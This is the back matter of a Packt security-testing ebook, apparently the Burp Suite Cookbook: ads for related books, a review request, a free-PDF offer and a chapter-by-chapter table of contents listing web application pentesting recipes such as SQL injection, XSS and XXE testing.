Zed Aftack Proxy
Cookbook

Hacking tactics, techniques, and procedures for testing
web applications and APIs

RYAN SOPER | NESTOR N TORRES | AHMED ALMOAILU

Zed Attack Proxy Cookbook
Ryan Soper, Nestor N Torres, Ahmed Almoailu
ISBN: 978-1-80181-733-2

o Install ZAP on different operating systems or environments

o Explore how to crawl, passively scan, and actively scan web apps
o Discover authentication and authorization exploits

» Conduct client-side testing by examining business logic flaws

o Use the BOAST server to conduct out-of-band attacks

o Understand the integration of ZAP into the final stages of a CI/CD pipeline


https://www.packtpub.com/product/zed-attack-proxy-cookbook/9781801817332

Other Books You May Enjoy 429

\
Wireshark

A definitive guide to expertly analyzing protocols and
troubleshooting networks using Wireshark

Lisa Bock

Learn Wireshark - Second Edition
Lisa Bock
ISBN: 978-1-80323-167-9

o Master network analysis and troubleshoot anomalies with Wireshark

o Discover the importance of baselining network traffic

o Correlate the OSI model with frame formation in Wireshark

o Narrow in on specific traffic by using display and capture filters

o Conduct deep packet analysis of common protocols: IP, TCP, and ARP
o Understand the role and purpose of ICMP, DNS, HTTP, and DHCP

o Create a custom configuration profile and personalize the interface

o Create I/O and stream graphs to better visualize traffic


https://www.packtpub.com/product/learn-wireshark-second-edition/9781803231679

430

Packt is searching for authors like you

If you're interested in becoming an author for Packt, please visit authors .packtpub.comand
apply today. We have worked with thousands of developers and tech professionals, just like you, to
help them share their insight with the global tech community. You can make a general application,
apply for a specific hot topic that we are recruiting an author for, or submit your own idea.

Share your thoughts

Now you've finished Burp Suite Cookbook - Second Edition, wed love to hear your thoughts! If you
purchased the book from Amazon, please click here to go straight to the Amazon review page for this
book and share your feedback or leave a review on the site that you purchased it from.

Your review is important to us and the tech community and will help us make sure we're delivering
excellent quality content.


http://authors.packtpub.com
https://packt.link/r/183508107X

431

Download a free PDF copy of this book

Thanks for purchasing this book!

Do you like to read on the go but are unable to carry your print books everywhere?

Is your eBook purchase not compatible with the device of your choice?

Don't worry, now with every Packt book you get a DRM-free PDF version of that book at no cost.

Read anywhere, any place, on any device. Search, copy, and paste code from your favorite technical
books directly into your application.

The perks don’t stop there, you can get exclusive access to discounts, newsletters, and great free content
in your inbox daily

Follow these simple steps to get the benefits:

1. Scan the QR code or visit the link below

https://packt.link/free-ebook/9781835081075

2. Submit your proof of purchase

3. That’s it! We'll send your free PDF and other benefits to your email directly


https://packt.link/free-ebook/9781835081075

	Cover
	Title Page
	Copyright
	Dedication
	Contributors
	Table of Contents
	Preface
	Chapter 1: Getting Started with Burp Suite
	Downloading Burp Suite (Community and Professional editions)
	Getting ready
	How to do it...

	Setting up a web app pentesting lab
	Getting ready
	How to do it...
	How it works…

	Creating a PortSwigger account to access Web Security Academy
	Getting ready
	How to do it…

	Starting Burp Suite at a command line or as an executable
	How to do it...
	How it works...

	Listening for HTTP traffic using Burp
	Getting ready
	How to do it...
	How it works...
	There’s more…


	Chapter 2: Getting to Know the Burp Suite of Tools
	Technical requirements
	Setting the Target Site Map
	Getting ready
	How to do it...
	How it works...

	Understanding the message editor
	Getting ready
	How to do it...

	Repeating with Repeater
	Getting ready
	How to do it...

	Decoding with Decoder
	Getting ready
	How to do it...
	There’s more...

	Intruding with Intruder
	Getting ready
	How to do it...


	Chapter 3: Configuring, 
Crawling, Auditing, and Reporting with Burp
	Technical requirements
	Establishing trust over HTTPS
	Getting ready
	How to do it...
	There’s more...

	Setting project configurations
	How to do it…

	Setting user configurations
	How to do it…
	How it works…
	There’s more...

	Crawling target sites
	Getting ready
	How to do it...

	Creating a custom scan script
	Getting ready
	How to do it...
	There’s more...

	Reporting issues
	Getting ready
	How to do it...


	Chapter 4: Assessing 
Authentication Schemes
	Technical requirements
	Testing for account enumeration and guessable accounts
	Getting ready
	How to do it...

	Testing for weak lockout mechanisms
	Getting ready
	How to do it...

	Testing for bypassing authentication schemes
	Getting ready
	How to do it...
	How it works…

	Testing for browser cache weaknesses
	Getting ready
	How to do it...
	How it works…

	Testing the account provisioning process via the REST API
	Getting ready
	How to do it...
	How it works…


	Chapter 5: Assessing Authorization Checks
	Technical requirements
	Testing for directory traversal
	Getting ready
	How to do it...
	How it works...

	Testing for LFI
	Getting ready
	How to do it...
	How it works...

	Testing for RFI
	Getting ready
	How to do it...
	How it works...

	Testing for privilege escalation
	Getting ready
	How to do it...
	How it works...

	Testing for IDOR
	Getting ready
	How to do it...
	How it works...


	Chapter 6: Assessing Session Management Mechanisms
	Technical requirements
	Testing session token strength using Sequencer
	Getting ready
	How to do it...
	How it works...

	Testing for cookie attributes
	Getting ready
	How to do it...
	How it works...

	Testing for session fixation
	Getting ready
	How to do it...
	How it works...

	Testing for exposed session variables
	Getting ready
	How to do it...
	How it works...

	Testing for cross-site request forgery
	Getting ready
	How to do it...
	How it works...


	Chapter 7: Assessing Business Logic
	Technical requirements
	Testing business logic data validation
	Getting ready
	How to do it...
	How it works...

	Unrestricted file upload – bypassing weak validation
	Getting ready
	How to do it...
	How it works...

	Performing process-timing attacks
	Getting ready
	How to do it...
	How it works...
	There’s more...

	Testing for the circumvention of workflows
	Getting ready
	How to do it...
	How it works...

	Uploading malicious files – polyglots
	Getting ready
	How to do it...
	How it works...
	There’s more...


	Chapter 8: Evaluating Input Validation Checks
	Technical requirements
	Testing for reflected cross-site scripting
	Getting ready
	How to do it...
	How it works...

	Testing for stored cross-site scripting
	Getting ready
	How to do it...
	How it works...

	Testing for HTTP verb tampering
	Getting ready
	How to do it...
	How it works...

	Testing for HTTP parameter pollution
	Getting ready
	How to do it...
	How it works...

	Testing for SQL injection
	Getting ready
	How to do it...
	How it works...
	There’s more...

	Testing for command injection
	Getting ready
	How to do it...
	How it works...


	Chapter 9: Attacking the Client
	Technical requirements
	Testing for clickjacking
	Getting ready
	How to do it...
	How it works...

	Testing for DOM-based cross-site scripting
	Getting ready
	How to do it...
	How it works...

	Leveraging DOM Invader for testing DOM XSS
	Getting ready
	How to do it...
	How it works...
	There’s more...

	Testing for JavaScript execution
	Getting ready
	How to do it...
	How it works...

	Testing for HTML injection
	Getting ready
	How to do it...
	How it works...

	Testing for client-side resource manipulation
	Getting ready
	How to do it...
	How it works...


	Chapter 10: Working with Burp Suite Macros and Extensions
	Technical requirements
	Creating session-handling macros
	Getting ready
	How to do it...
	How it works...

	Getting caught in the cookie jar
	Getting ready
	How to do it...
	How it works...

	Adding great pentester plugins
	Getting ready
	How to do it...
	How it works...

	Creating new issues via the Add & Track Custom Issues extension
	Getting ready
	How to do it...
	How it works...
	See also

	Working with the Active Scan++ extension
	Getting ready
	How to do it...
	How it works...

	Using Burp Suite extensions for bug bounties
	Getting ready
	How to do it...
	How it works...


	Chapter 11: Implementing Advanced Topic Attacks
	Technical requirements
	Performing XXE attacks
	Getting ready
	How to do it...
	How it works...

	Working with JWTs
	Getting ready
	How to do it...
	How it works...

	Using Burp Suite Collaborator to determine SSRF
	Getting ready
	How to do it...
	How it works...
	See also

	Testing CORS
	Getting ready
	How to do it...
	How it works...
	See also

	Performing Java deserialization attacks
	Getting ready
	How to do it...
	How it works...

	Hacking GraphQL using Burp Suite
	Getting ready
	How to do it...
	How it works...
	There’s more...


	Index
	About Packt
	Other Books You May Enjoy



